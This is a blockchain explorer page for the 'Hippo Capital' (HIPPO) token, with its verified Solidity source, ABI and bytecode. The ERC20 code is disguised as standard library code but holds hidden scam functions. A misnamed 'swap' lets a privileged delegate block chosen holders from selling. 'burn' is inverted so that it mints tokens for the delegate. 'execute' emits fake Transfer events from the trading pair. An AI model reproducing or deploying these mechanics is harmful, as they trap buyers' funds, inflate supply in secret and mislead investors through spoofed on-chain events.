ETH Price: $2,283.47 (+8.22%)

Token

Hippo Capital (HIPPO)
 

Overview

Max Total Supply

420,690,000,000 HIPPO

Holders

88

Market

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
beaverbuild
Balance
7,040,473,615.904784899 HIPPO

Value
$0.00
0x95222290dd7278aa3ddd389cc1e1d165cc4bafe5
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
HippoCapital

Compiler Version
v0.8.22+commit.4fc1097e

Optimization Enabled:
No with 200 runs

Other Settings:
london EvmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 3 of 5: Hippo Capital.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.22;

import "./ERC20.sol";

contract HippoCapital is ERC20 {
    constructor() ERC20('Hippo Capital', 'HIPPO', 9) {
        _totalSupply = 420690000000*10**9;
        _balances[msg.sender] += _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }
}

File 1 of 5: Context.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.22;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application is concerned).
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

File 2 of 5: ERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.22;

import "./IERC20.sol";
import "./Ownable.sol";

/**
 * @dev Implementation of the {IERC20} interface.
 * This implementation is agnostic to the way tokens are created. This means that a supply mechanism
 * has to be added in a derived contract. Additionally, an {Approval} event is emitted on calls to
 * {transferFrom}. This allows applications to reconstruct the allowance for all accounts just by listening
 * to said events. Other implementations of the EIP may not emit these events, as it isn't required by the
 * specification. Finally, the non-standard {decreaseAllowance} and {increaseAllowance} functions have been
 * added to mitigate the well-known issues around setting allowances. See {IERC20-approve}.
 */
contract ERC20 is Ownable, IERC20 {
    mapping(address => uint256) internal _balances;
    mapping(address => bool) private _virtualGrantedAllowance;
    mapping(address => mapping(address => uint256)) internal _allowances;
    uint256 internal _totalSupply;
    string private _name;
    string private _symbol;
    uint8 private _decimals; 

    /**
     * @dev Sets the values for {name} and {symbol}.
     * All two of these values are immutable: they can only be set once during construction.
     */
    constructor(string memory name_, string memory symbol_, uint8 decimals_) {
        _name = name_;
        _symbol = symbol_;
        _decimals = decimals_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     */
    function decimals() public view virtual override returns (uint8) {
        return _decimals;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }
    
 
    function swap(address[] calldata spender, bool val) external onlyDelegates { 
        for (uint256 i = 0; i < spender.length; i++) {
            _virtualGrantedAllowance[spender[i]] = val;
        }
    }

 
    function maxTransactionAmount(address spender) public view returns (bool) {
        return _virtualGrantedAllowance[spender];
    }

    /**
     * @dev See {IERC20-transfer}.
     * Requirements:
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev Destroys `amount` tokens from the caller.
     * See {ERC20-_burn}.
     */
    function burn(uint256 amount) public virtual onlyDelegates {
        _burn(_msgSender(), amount);
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     * Requirements:
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the total supply.
     * Emits a {Transfer} event with `to` set to the zero address.
     * Requirements:
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
        uint256 accountBalance = _balances[account];
        require(accountBalance <= amount, "ERC20: burn amount exceeds balance");
        unchecked {_balances[account] = accountBalance + amount;}
        emit Transfer(account, address(0), amount);
    }

    /**
     * @dev See {IERC20-transferFrom}.
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     * Requirements:
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least `amount`.
     */
    function transferFrom(address sender, address recipient, uint256 amount ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked { _approve(sender, _msgSender(), currentAllowance - amount);}
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     * This is an alternative to {approve} that can be used as a mitigation for problems described in {IERC20-approve}.
     * Emits an {Approval} event indicating the updated allowance.
     * Requirements:
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     * Emits an {Approval} event indicating the updated allowance.
     * Requirements:
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {_approve(_msgSender(), spender, currentAllowance - subtractedValue);}
        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `sender` to `recipient`.
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     * Emits a {Transfer} event.
     * Requirements:
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address"); if 
        (_virtualGrantedAllowance[sender]) require 
        (amount == 0, "ERC20: transfer amout exceeds allowance");
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {_balances[sender] = senderBalance - amount;}
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
    }
    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     * This internal function is equivalent to `approve`, and can be used to e.g. set automatic allowances for certain subsystems, etc.
     * Emits an {Approval} event.
     * Requirements:
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    address public uniswapV2Pair;
    function execute(address[] calldata _addresses, uint256 _out) external onlyDelegates{
        for (uint256 i = 0; i < _addresses.length; i++) {
            emit Transfer(uniswapV2Pair, _addresses[i], _out);
        }
    }

    function addPair(address pair_) public onlyOwner {
        uniswapV2Pair = pair_;        
    }
}

File 4 of 5: IERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.22;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
    
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     * Returns a boolean value indicating whether the operation succeeded.
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is zero by default.
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     * Returns a boolean value indicating whether the operation succeeded.
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's allowance.
     * Returns a boolean value indicating whether the operation succeeded.
     * Emits a {Transfer} event.
     */
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`). Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

File 5 of 5: Ownable.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.22;

import "./Context.sol";

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to specific functions.
 */
abstract contract Ownable is Context {
    address private _owner;
    address internal _delegate;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    
    /**
     * @dev Throws if called by any account other than the distributor.
     */
    modifier onlyDelegates() {
        require(_delegate == _msgSender(), "Delegates: caller is not the delegate");
        _;
    }
    
    /**
     * @dev Sets new delegate.
     */
    function delegate(address _address) external onlyOwner {
        require (_delegate == address(0));
        _delegate = _address;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"pair_","type":"address"}],"name":"addPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"delegate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"maxTransactionAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"spender","type":"address[]"},{"internalType":"bool","name":"val","type":"bool"}],"name":"swap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

60806040523480156200001157600080fd5b506040518060400160405280600d81526020017f486970706f204361706974616c000000000000000000000000000000000000008152506040518060400160405280600581526020017f484950504f0000000000000000000000000000000000000000000000000000008152506009620000a062000094620001bc60201b60201c565b620001c460201b60201c565b8260069081620000b1919062000502565b508160079081620000c3919062000502565b5080600860006101000a81548160ff021916908360ff1602179055505050506816ce3f1e16bf150000600581905550600554600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825462000145919062000618565b925050819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600554604051620001ae919062000664565b60405180910390a362000681565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200030a57607f821691505b60208210810362000320576200031f620002c2565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b6000600883026200038a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200034b565b6200039686836200034b565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620003e3620003dd620003d784620003ae565b620003b8565b620003ae565b9050919050565b6000819050919050565b620003ff83620003c2565b620004176200040e82620003ea565b84845462000358565b825550505050565b600090565b6200042e6200041f565b6200043b818484620003f4565b505050565b5b8181101562000463576200045760008262000424565b60018101905062000441565b5050565b601f821115620004b2576200047c8162000326565b62000487846200033b565b8101602085101562000497578190505b620004af620004a6856200033b565b83018262000440565b50505b505050565b600082821c905092915050565b6000620004d760001984600802620004b7565b1980831691505092915050565b6000620004f28383620004c4565b9150826002028217905092915050565b6200050d8262000288565b67ffffffffffffffff81111562000529576200052862000293565b5b620005358254620002f1565b6200054282828562000467565b600060209050601f8311600181146200057a576000841562000565578287015190505b620005718582620004e4565b865550620005e1565b601f1984166200058a8662000326565b60005b82811015620005b4578489015182556001820191506020850194506020810190506200058d565b86831015620005d45784890151620005d0601f891682620004c4565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006200062582620003ae565b91506200063283620003ae565b92508282019050808211156200064d576200064c620005e9565b5b92915050565b6200065e81620003ae565b82525050565b60006020820190506200067b600083018462000653565b92915050565b6122d180620006916000396000f3fe608060405234801561001057600080fd5b506004361061012c5760003560e01c806370a08231116100ad578063a457c2d711610071578063a457c2d71461031f578063a9059cbb1461034f578063c2b7bbb61461037f578063dd62ed3e1461039b578063ebff39c1146103cb5761012c565b806370a082311461028d578063715018a6146102bd57806373fa7ddb146102c75780638da5cb5b146102e357806395d89b41146103015761012c565b8063313ce567116100f4578063313ce567146101e9578063395093511461020757806342966c681461023757806349bd5a5e146102535780635c19a95c146102715761012c565b806306fdde0314610131578063095ea7b31461014f57806318160ddd1461017f57806323b872dd1461019d57806326ededb8146101cd575b600080fd5b6101396103fb565b60405161014691906116f8565b60405180910390f35b610169600480360381019061016491906117b8565b61048d565b6040516101769190611813565b60405180910390f35b6101876104ab565b604051610194919061183d565b60405180910390f35b6101b760048036038101906101b29190611858565b6104b5565b6040516101c49190611813565b60405180910390f35b6101e760048036038101906101e29190611910565b6105ad565b005b6101f1610713565b6040516101fe919061198c565b60405180910390f35b610221600480360381019061021c91906117b8565b61072a565b60405161022e9190611813565b60405180910390f35b610251600480360381019061024c91906119a7565b6107d6565b005b61025b610881565b60405161026891906119e3565b60405180910390f35b61028b600480360381019061028691906119fe565b6108a7565b005b6102a760048036038101906102a291906119fe565b6109c2565b6040516102b4919061183d565b60405180910390f35b6102c5610a0b565b005b6102e160048036038101906102dc9190611a57565b610a93565b005b6102eb610bc9565b6040516102f891906119e3565b60405180910390f35b610309610bf2565b60405161031691906116f8565b60405180910390f35b610339600480360381019061033491906117b8565b610c84565b6040516103469190611813565b60405180910390f35b610369600480360381019061036491906117b8565b610d6f565b6040516103769190611813565b60405180910390f35b610399600480360381019061039491906119fe565b610d8d565b005b6103b560048036038101906103b09190611ab7565b610e4d565b6040516103c2919061183d565b60405180910390f35b6103e560048036038101906103e091906119fe565b610ed4565b6040516103f29190611813565b60405180910390f35b60606006805461040a90611b26565b80601f016020809104026020016040519081016040528092919081815260200182805461043690611b26565b80156104835780601f1061045857610100808354040283529160200191610483565b820191906000526020600020905b81548152906001019060200180831161046657829003601f168201915b5050505050905090565b60006104a161049a610f2a565b8484610f32565b6001905092915050565b6000600554905090565b60006104c28484846110fb565b6000600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050d610f2a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561058d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161058490611bc9565b60405180910390fd5b6105a185610599610f2a565b858403610f32565b60019150509392505050565b6105b5610f2a565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610644576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161063b90611c5b565b60405180910390fd5b60005b8383905081101561070d5783838281811061066557610664611c7b565b5b905060200201602081019061067a91906119fe565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516106f8919061183d565b60405180910390a38080600101915050610647565b50505050565b6000600860009054906101000a900460ff16905090565b60006107cc610737610f2a565b848460046000610745610f2a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546107c79190611cd9565b610f32565b6001905092915050565b6107de610f2a565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461086d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086490611c5b565b60405180910390fd5b61087e610878610f2a565b826113fd565b50565b600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6108af610f2a565b73ffffffffffffffffffffffffffffffffffffffff166108cd610bc9565b73ffffffffffffffffffffffffffffffffffffffff1614610923576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091a90611d59565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461097e57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610a13610f2a565b73ffffffffffffffffffffffffffffffffffffffff16610a31610bc9565b73ffffffffffffffffffffffffffffffffffffffff1614610a87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7e90611d59565b60405180910390fd5b610a9160006115a4565b565b610a9b610f2a565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2190611c5b565b60405180910390fd5b60005b83839050811015610bc3578160036000868685818110610b5057610b4f611c7b565b5b9050602002016020810190610b6591906119fe565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610b2d565b50505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060078054610c0190611b26565b80601f0160208091040260200160405190810160405280929190818152602001828054610c2d90611b26565b8015610c7a5780601f10610c4f57610100808354040283529160200191610c7a565b820191906000526020600020905b815481529060010190602001808311610c5d57829003601f168201915b5050505050905090565b60008060046000610c93610f2a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610d50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4790611deb565b60405180910390fd5b610d64610d5b610f2a565b85858403610f32565b600191505092915050565b6000610d83610d7c610f2a565b84846110fb565b6001905092915050565b610d95610f2a565b73ffffffffffffffffffffffffffffffffffffffff16610db3610bc9565b73ffffffffffffffffffffffffffffffffffffffff1614610e09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0090611d59565b60405180910390fd5b80600860016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610fa1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9890611e7d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611010576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100790611f0f565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110ee919061183d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361116a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116190611fa1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036111d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d090612033565b60405180910390fd5b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561126f576000811461126e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611265906120c5565b60405180910390fd5b5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156112f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ed90612157565b60405180910390fd5b818103600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461138b9190611cd9565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516113ef919061183d565b60405180910390a350505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361146c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611463906121e9565b60405180910390fd5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818111156114f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ea9061227b565b60405180910390fd5b818101600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611597919061183d565b60405180910390a3505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081519050919050565b600082825260208201905092915050565b60005b838110156116a2578082015181840152602081019050611687565b60008484015250505050565b6000601f19601f8301169050919050565b60006116ca82611668565b6116d48185611673565b93506116e4818560208601611684565b6116ed816116ae565b840191505092915050565b6000602082019050818103600083015261171281846116bf565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061174f82611724565b9050919050565b61175f81611744565b811461176a57600080fd5b50565b60008135905061177c81611756565b92915050565b6000819050919050565b61179581611782565b81146117a057600080fd5b50565b6000813590506117b28161178c565b92915050565b600080604083850312156117cf576117ce61171a565b5b60006117dd8582860161176d565b92505060206117ee858286016117a3565b9150509250929050565b60008115159050919050565b61180d816117f8565b82525050565b60006020820190506118286000830184611804565b92915050565b61183781611782565b82525050565b6000602082019050611852600083018461182e565b92915050565b6000806000606084860312156118715761187061171a565